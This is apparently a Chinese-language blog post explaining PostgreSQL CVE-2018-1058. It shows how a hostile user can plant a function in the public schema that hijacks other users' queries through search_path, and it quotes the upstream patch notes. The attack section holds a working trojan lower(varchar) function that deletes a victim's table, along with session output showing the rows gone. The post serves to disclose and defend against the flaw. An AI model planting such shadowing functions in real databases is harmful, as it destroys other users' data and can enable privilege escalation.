PostgreSQLCVE-2018-1058(search_path)-暨資料庫的那些陷阱與攻防指南

德哥發表於2018-04-18

SQL資料庫

背景

PostgreSQL 元宵節對各個版本釋出了小版本補丁，主要是解決一個search_path的功能，被攻擊者利用來設定陷阱的問題。

https://git.postgresql.org/gitweb/?p=postgresql.git&a=search&h=HEAD&st=commit&s=CVE-2018-1058

CVE-2018-1058 陷阱介紹

1、namespace介紹

PostgreSQL schema即namespace，在一個DB中，可以建立多個schema，在schema中，可以建立物件。一個物件在一個schema中不允許重名，但是在多個schema中可以重名。

《PostgreSQL 邏輯結構和許可權體系介紹》

2、search_path

那麼當我們在查詢資料庫物件時，如何知道應該查哪個schema裡的呢？

一種方法是fullpath，寫成schemaname.obj_name

另一種方法是設定search_path，那麼我們可以不寫schemaname，也能找到對應的物件。例如(預設 search_path=$user, public; )

但是如果在多個schema中，有同樣的物件，那麼涉及到優先順序的問題。

3、搜尋優先順序

pg_catalog 高於search_path的設定。

pg_catalog 是資料庫的系統schema ，有最高優先順序，所有的物件，如果在pg_catalog中有，那麼優先使用pg_catalog的。

陷阱，由於search_path預設是$user, public，而public schema的讀寫許可權預設是給所有角色的。

如果你沒有使用fullpath的寫法，而攻擊者寫了一個函式，並且這個函式可能是一個隱式轉換前的（即完美匹配的函式），那麼你的SQL將優先訪問這個函式，覆蓋pg_catalog中的。

4、攻擊

普通使用者a:

未使用fullpath，導致有被攻擊的可能。

create table a(id int, info varchar);  
insert into a values(1,`abcdEFG`);  
select id,lower(info) from a;

lower系統函式，成為了一個陷阱，因為它不是varchar引數型別，用了隱式轉換。

pp=> df lower  
                          List of functions  
   Schema   | Name  | Result data type | Argument data types |  Type  
------------+-------+------------------+---------------------+--------  
 pg_catalog | lower | anyelement       | anyrange            | normal  
 pg_catalog | lower | text             | text                | normal  
(2 rows)

攻擊者b:

寫一個函式，放到public，並且避免隱式轉換.

create or replace function lower(varchar) returns void as $$  
declare  
begin  
  raise notice `haha, delete your data`;  
  delete from a;  
end;  
$$ language plpgsql strict SECURITY INVOKER;

攻擊者沒有刪除A表記錄的許可權，所以自己呼叫會報錯。

但是這個陷阱是讓a使用者去踩的，我們看看A使用者的呼叫。

postgres=> select lower(`a`::varchar);  
NOTICE:  haha, delete your data  
ERROR:  permission denied for relation a  
CONTEXT:  SQL statement "delete from a"  
PL/pgSQL function lower(character varying) line 5 at SQL statement

5、中招

普通使用者，呼叫查詢SQL，就會中招。

postgres=> c postgres a  
You are now connected to database "postgres" as user "a".  
postgres=> select id,lower(info) from a;  
NOTICE:  haha, delete your data  
 id | lower  
----+-------  
  1 |  
(1 row)  
  
postgres=> select * from a;  
 id | info  
----+------  
(0 rows)

a使用者呼叫後，記錄不見了，哭都來不及。

危害

攻擊者，可能利用這個陷阱實現提權等操作，LIKE THIS：

《PostgreSQL 安全陷阱 – 利用觸發器或規則，結合security invoker函式製造反噬陷阱》

危害巨大。

patch介紹

社群主要修正了一些search_path的文件內容，根據這個陷阱調整了一些建議。同時修改了pg_dump, pg_dumpall, pg_restore, vacuumdb等客戶端程式碼，將search_path強制設定為只包含pg_catalog，因為通常呼叫這些客戶端的都是超級使用者，超級使用者被下陷阱的話，危害就更大了。

Document how to configure installations and applications to guard against search-path-dependent trojan-horse attacks from other users (Noah Misch)

Using a search_path setting that includes any schemas writable by a hostile user enables that user to capture control of queries and then run arbitrary SQL code with the permissions of the attacked user. While it is possible to write queries that are proof against such hijacking, it is notationally tedious, and it`s very easy to overlook holes. Therefore, we now recommend configurations in which no untrusted schemas appear in one`s search path. Relevant documentation appears in Section 5.8.6 (for database administrators and users), Section 33.1 (for application authors), Section 37.15.1 (for extension authors), and CREATE FUNCTION (for authors of SECURITY DEFINER functions). (CVE-2018-1058)

Avoid use of insecure search_path settings in pg_dump and other client programs (Noah Misch, Tom Lane)

pg_dump, pg_upgrade, vacuumdb and other PostgreSQL-provided applications were themselves vulnerable to the type of hijacking described in the previous changelog entry; since these applications are commonly run by superusers, they present particularly attractive targets. To make them secure whether or not the installation as a whole has been secured, modify them to include only the pg_catalog schema in their search_path settings. Autovacuum worker processes now do the same, as well.

In cases where user-provided functions are indirectly executed by these programs — for example, user-provided functions in index expressions — the tighter search_path may result in errors, which will need to be corrected by adjusting those user-provided functions to not assume anything about what search path they are invoked under. That has always been good practice, but now it will be necessary for correct behavior. (CVE-2018-1058)